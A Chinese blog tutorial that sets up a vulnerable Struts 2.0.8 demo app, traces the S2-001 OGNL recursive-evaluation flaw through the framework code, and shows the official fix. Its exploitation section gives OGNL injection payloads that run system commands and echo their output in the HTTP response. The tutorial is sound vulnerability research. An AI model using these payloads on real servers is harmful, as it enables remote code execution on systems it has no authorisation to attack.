Java反序列化之 structS2-001环境搭建(新版idea)和漏洞复现
环境搭建:
idea新建项目->maven-archetype->选择org.apache.maven.archetypes:maven-archetype-webapp->创建

创建后要等几秒种等待加载好目录
pom.xml导入依赖:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
web.xml配置struts2的过滤器
<web-app>
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
然后在main下添加java源目录

然后在java目录下创建类com.test.s2001.action.LoginAction

package com.test.s2001.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport{
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
修改webapp目录下的index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
webapp目录下新建welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
main目录下创建一个resources 文件夹,内部添加一个 struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.test.s2001.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
最后就是配置一个tomcat环境

然后记得要部署工件,下方会有自动提示,点修复即可

这样整个配置流程就结束了,然后运行tomcat看一下效果

submit

OGNL表达式基础
漏洞复现
漏洞影响范围
WebWork 2.1 (with altSyntax enabled)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8
Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞
流程分析
先说一下Struts2 的执行流程
- 首先就是我们在配置web.xml的时候是设置了一个filter过滤器,并且还配置
/*全部的路由,这里全部路由就是交给 struts2 来处理 - Interceptor-stack:执行拦截器,应用程序通常会在拦截器中实现一部分功能。也包括在 struts-core 包中
struts-default.xml文件配置的默认的一些拦截器。 - 配置Action:根据访问路径,找到处理这个请求对应的 Action 控制类,通常配置在
struts.xml中的 package 中 - 最后由 Action 控制类执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,结果通过 HTTPServletResponse 响应
在我们配置的filter过滤器中的dofilter主要做了以下业务:
- 设置编码和本地化信息
- 创建 ActionContext 对象
- 分配当前线程的分发器
- 将request对象进行封装
- 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
- 执行 Action 请求, 也就是
serviceAction()方法
所以我们跟进FilterDispatcher中在dofilter处下个断点

然后我们一直下一步,下一步直到看到serviceAction() 方法(中间的过程就是一些判断和赋值,不是重点)

然后我们跟进serviceAction方法中,分析一下这段代码

首先就是获取当前请求是否已经有ValueStack 对象,这样是为了在接收到chain跳转方式的请求时候,可以直接接管上次请求的action。
如果没有ValueStack 对象的话,就获取当前线程中的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,接着获取 ActionMapping 中配置的 namespace, name, method 值

继续获取到namespace, name, method 值之后,ActionProxyFactory 的 createActionProxy()方法初始化了一个actionproxy,同时也创建了StrutsActionProxy 的实例,它是继承自com.opensymphony.xwork2.DefaultActionProxy 的, 在这个代理对象内部实际上就持有了DefaultActionInvocation 的一个实例
DefaultActionInvocation 对象中保存了 Action 调用过程中需要的一切信息

然后我们继续跟,发现到了proxy.execute()方法中去,发现就是获取了一下上下文,并且用setter方法赋值上下文

我们继续跟到invoke中去
在invoke方法中,首先会使用迭代器顺序的递归执行当前action中配置的所有拦截器,一直持续到拦截器全都遍历完之后调用真正的action,这里的迭代器是struts2 包内的 struts-default.xml 里面的 interceptors 标签中的内容

而在这么多迭代器中有有一个param迭代器是用来处理我们输入的参数的,看到这里就想到这里会不会就有OGNL表达式的处理,因为该漏洞的本质就是OGNL
表达式的调用
在所有迭代器都执行完之后,就到了invokeActionOnly方法中,跟进去看一下,发现调用了invokeAction方法,我们跟进去

发现通过反射调用执行了action实现类里的execute方法,开始处理用户的逻辑信息

现在回到invoke方法中,invokeActionOnly之后,然后我们跟到executeResult()中去

看代码。首先就是createResult()创建了一个result对象,后面会去判断result是否为空,不为空的话去执行execute(从图片中也可以看出result不为空),所以跟进execute

execute中还有个doExecute(),继续跟进

看代码,首先准备执行环境,request, pageContext 等之后,会发送真正的响应信息,这时候我们调试发现返回的结果是jsp文件

下面的调试是无法在上面的过程中跟入的,需要自己找到ComponentTagSupport包,然后下断点调试
然后的话就会调用jspservlet来处理请求,当在解析标签的时候,会分别对标签的开始和结束位置调用org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法

而在doendtag方法中的end方法就是我们今天的主角,也就是漏洞触发的地方,我们跟进去,在跟进evaluateParams() 方法中去


然后在这个方法中往下找到altSyntax参数(大概在305行左右,根据个人情况而定),这里由于altSyntax是默认开启的,所以代码会跳到addParameter处执行findvalue方法寻找参数值
在此处我们也可以看到expr参数就是会将username拼接到%{}中去,本来这样如果我们输入恶意payload:%{2*2}是无法被解析的,问题就出在后面的处理

我们跟到findvalue中,再跟到translateVariables中去

我们往下面看,会发现此处会将expr参数首尾的{和}去掉赋值给var参数,然后紧接着就是findvalue将获取到的username参数(也就是我们上方的%{2*2})赋值给o,然后会再次赋值给expression,这时检测到还是ognl表达式,就会再一次进入循环,这时候的结果就是4,并再次赋值o->expression,这时候检测到不是ognl表达式就不会进入循环,最终造成了s2-001漏洞

漏洞利用
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞修复
官方给出的漏洞修复就是多了一段判断循环次数的代码,从而在解析到 %{1+1} 的
时候不会继续向下递归
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
//修复处
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
参考文章
https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#0x01-%E5%89%8D%E8%A8%80

浙公网安备 33010602011771号